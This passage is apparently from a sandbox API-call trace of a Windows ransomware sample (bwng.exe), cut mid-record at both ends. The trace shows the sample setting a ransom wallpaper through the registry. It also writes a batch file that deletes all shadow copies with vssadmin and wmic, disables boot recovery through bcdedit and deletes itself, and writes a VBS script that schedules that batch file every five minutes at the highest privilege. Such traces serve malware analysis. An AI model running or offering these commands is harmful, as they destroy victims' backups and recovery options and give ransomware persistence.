/t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Agאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Bgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Wgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="sgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="dgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 1 [0031.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DSsABWsd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dssabwsd.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0031.616] WriteFile (in: hFile=0x174, lpBuffer=0x1de0db0*, nNumberOfBytesToWrite=0xcd96, lpNumberOfBytesWritten=0x18fb18, lpOverlapped=0x0 | out: lpBuffer=0x1de0db0*, lpNumberOfBytesWritten=0x18fb18*=0xcd96, lpOverlapped=0x0) returned 1 [0031.617] CloseHandle (hObject=0x174) returned 1 [0031.618] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DSsABWsd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dssabwsd.bmp")) returned 0x2020 [0031.618] CharUpperBuffW (in: lpsz="/C reg add \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f", cchLength=0xe4 | out: lpsz="/C REG ADD \"HKCU\\CONTROL PANEL\\DESKTOP\" /V WALLPAPER /T REG_SZ /D \"[WP]\" /F & REG ADD \"HKCU\\CONTROL PANEL\\DESKTOP\" /V WALLPAPERSTYLE /T REG_SZ /D \"0\" /F & REG ADD \"HKCU\\CONTROL PANEL\\DESKTOP\" /V TILEWALLPAPER /T REG_SZ /D \"0\" /F") returned 0xe4 [0031.619] CharUpperBuffW (in: lpsz="[WP]", cchLength=0x4 | out: lpsz="[WP]") returned 0x4 [0031.619] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C reg add \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DSsABWsd.bmp\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fb20*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C reg add \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DSsABWsd.bmp\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f", lpProcessInformation=0x18fb10*(hProcess=0x178, hThread=0x17c, dwProcessId=0xb1c, dwThreadId=0xbe8)) returned 1 [0031.628] CloseHandle (hObject=0x178) returned 1 [0031.628] CloseHandle (hObject=0x17c) returned 1 [0031.628] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.628] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e7fc3c, cbMultiByte=31, lpWideCharStr=0x18eaf4, cchWideChar=2047 | out: lpWideCharStr="/C wscript //B //Nologo \"[DSP]\"sktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 31 [0031.628] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0031.628] GetTickCount () returned 0x1153469 [0031.628] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb24 | out: lpPerformanceCount=0x18fb24*=17358042961) returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0031.629] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0031.629] GetTickCount () returned 0x1153469 [0031.629] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb24 | out: lpPerformanceCount=0x18fb24*=17358080752) returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0031.629] FindResourceW (hModule=0x400000, lpName="DS", lpType=0xa) returned 0x4f5420 [0031.629] LoadResource (hModule=0x400000, hResInfo=0x4f5420) returned 0x4f8b64 [0031.629] SizeofResource (hModule=0x400000, hResInfo=0x4f5420) returned 0xe0 [0031.629] LockResource (hResData=0x4f8b64) returned 0x4f8b64 [0031.629] FreeResource (hResData=0x4f8b64) returned 0 [0031.629] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0031.629] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0031.629] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0031.629] LockResource (hResData=0x5260dc) returned 0x5260dc [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x1e8e32c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0031.629] FreeResource (hResData=0x5260dc) returned 0 [0031.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb235c, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0031.629] GetCurrentThreadId () returned 0x5b0 [0031.629] GetCurrentThreadId () returned 0x5b0 [0031.629] GetCurrentThreadId () returned 0x5b0 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd3618, cbMultiByte=224, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 224 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd3618, cbMultiByte=224, lpWideCharStr=0x1d9791c, cchWideChar=224 | out: lpWideCharStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"[BP]\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0") returned 224 [0031.629] CharUpperBuffW (in: lpsz="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"[BP]\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", cchLength=0xe2 | out: lpsz="VSSADMIN DELETE SHADOWS /ALL /QUIET\r\nWMIC SHADOWCOPY DELETE\r\nBCDEDIT /SET {DEFAULT} RECOVERYENABLED NO\r\nBCDEDIT /SET {DEFAULT} BOOTSTATUSPOLICY IGNOREALLFAILURES\r\nDEL /F /Q \"[BP]\"\r\nSCHTASKS /DELETE /TN DSHCA /F\r\nDEL /F /Q %0\r\n") returned 0xe2 [0031.630] CharUpperBuffW (in: lpsz="[BP]", cchLength=0x4 | out: lpsz="[BP]") returned 0x4 [0031.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yw0t0jsm.bat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", cchWideChar=280, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 280 [0031.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", cchWideChar=280, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 280 [0031.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", cchWideChar=280, lpMultiByteStr=0x2644be8, cbMultiByte=280, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", lpUsedDefaultChar=0x0) returned 280 [0031.630] WriteFile (in: hFile=0x17c, lpBuffer=0x2644be8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18fa64, lpOverlapped=0x0 | out: lpBuffer=0x2644be8*, lpNumberOfBytesWritten=0x18fa64*=0x118, lpOverlapped=0x0) returned 1 [0031.631] CloseHandle (hObject=0x17c) returned 1 [0031.632] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yw0t0jsm.bat")) returned 0x2020 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] FindResourceW (hModule=0x400000, lpName="RB", lpType=0xa) returned 0x4f54c0 [0031.632] LoadResource (hModule=0x400000, hResInfo=0x4f54c0) returned 0x526f04 [0031.632] SizeofResource (hModule=0x400000, hResInfo=0x4f54c0) returned 0xdd [0031.632] LockResource (hResData=0x526f04) returned 0x526f04 [0031.632] FreeResource (hResData=0x526f04) returned 0 [0031.632] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0031.632] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0031.632] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0031.632] LockResource (hResData=0x5260dc) returned 0x5260dc [0031.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x1e8e32c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0031.632] FreeResource (hResData=0x5260dc) returned 0 [0031.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb235c, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd3618, cbMultiByte=221, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 221 [0031.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd3618, cbMultiByte=221, lpWideCharStr=0x1d9791c, cchWideChar=221 | out: lpWideCharStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"[BP]\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n") returned 221 [0031.632] CharUpperBuffW (in: lpsz="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"[BP]\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", cchLength=0xdd | out: lpsz="OPTION EXPLICIT\r\nDIM W\r\nSET W = CREATEOBJECT(\"WSCRIPT.SHELL\")\r\nW.RUN \"CMD.EXE /C SCHTASKS /CREATE /TN DSHCA /TR \"\"[BP]\"\" /SC MINUTE /MO 5 /RL HIGHEST /F\", 0, TRUE\r\nW.RUN \"CMD.EXE /C SCHTASKS /RUN /I /TN DSHCA\", 0, FALSE\r\n") returned 0xdd [0031.632] CharUpperBuffW (in: lpsz="[BP]", cchLength=0x4 | out: lpsz="[BP]") returned 0x4 [0031.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\abkyvqke.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", cchWideChar=275, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 275 [0031.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", cchWideChar=275, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 275 [0031.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", cchWideChar=275, lpMultiByteStr=0x25fa968, cbMultiByte=275, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", lpUsedDefaultChar=0x0) returned 275 [0031.633] WriteFile (in: hFile=0x17c, lpBuffer=0x25fa968*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x18fa64, lpOverlapped=0x0 | out: lpBuffer=0x25fa968*, lpNumberOfBytesWritten=0x18fa64*=0x113, lpOverlapped=0x0) returned 1 [0031.634] CloseHandle (hObject=0x17c) returned 1 [0031.635] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\abkyvqke.vbs")) returned 0x2020 [0031.635] GetCurrentThreadId () returned 0x5b0 [0031.635] GetCurrentThreadId () returned 0x5b0 [0031.635] GetCurrentThreadId () returned 0x5b0 [0031.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=37, fCreate=0 | out: pszPath="C:\\Windows\\system32") returned 1 [0031.635] CharUpperBuffW (in: lpsz="/C wscript //B //Nologo \"[DSP]\"", cchLength=0x1f | out: lpsz="/C WSCRIPT //B //NOLOGO \"[DSP]\"") returned 0x1f [0031.635] CharUpperBuffW (in: lpsz="[DSP]", cchLength=0x5 | out: lpsz="[DSP]") returned 0x5 [0031.635] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C wscript //B //Nologo \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fb14*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb04 | out: lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C wscript //B //Nologo \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"", lpProcessInformation=0x18fb04*(hProcess=0x178, hThread=0x17c, dwProcessId=0x9ac, dwThreadId=0xb8c)) returned 1 [0031.640] CloseHandle (hObject=0x178) returned 1 [0031.641] CloseHandle (hObject=0x17c) returned 1 [0031.641] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f9c0, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.641] GetTickCount () returned 0x1153479 [0031.641] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb00 | out: lpPerformanceCount=0x18fb00*=17359288405) returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | 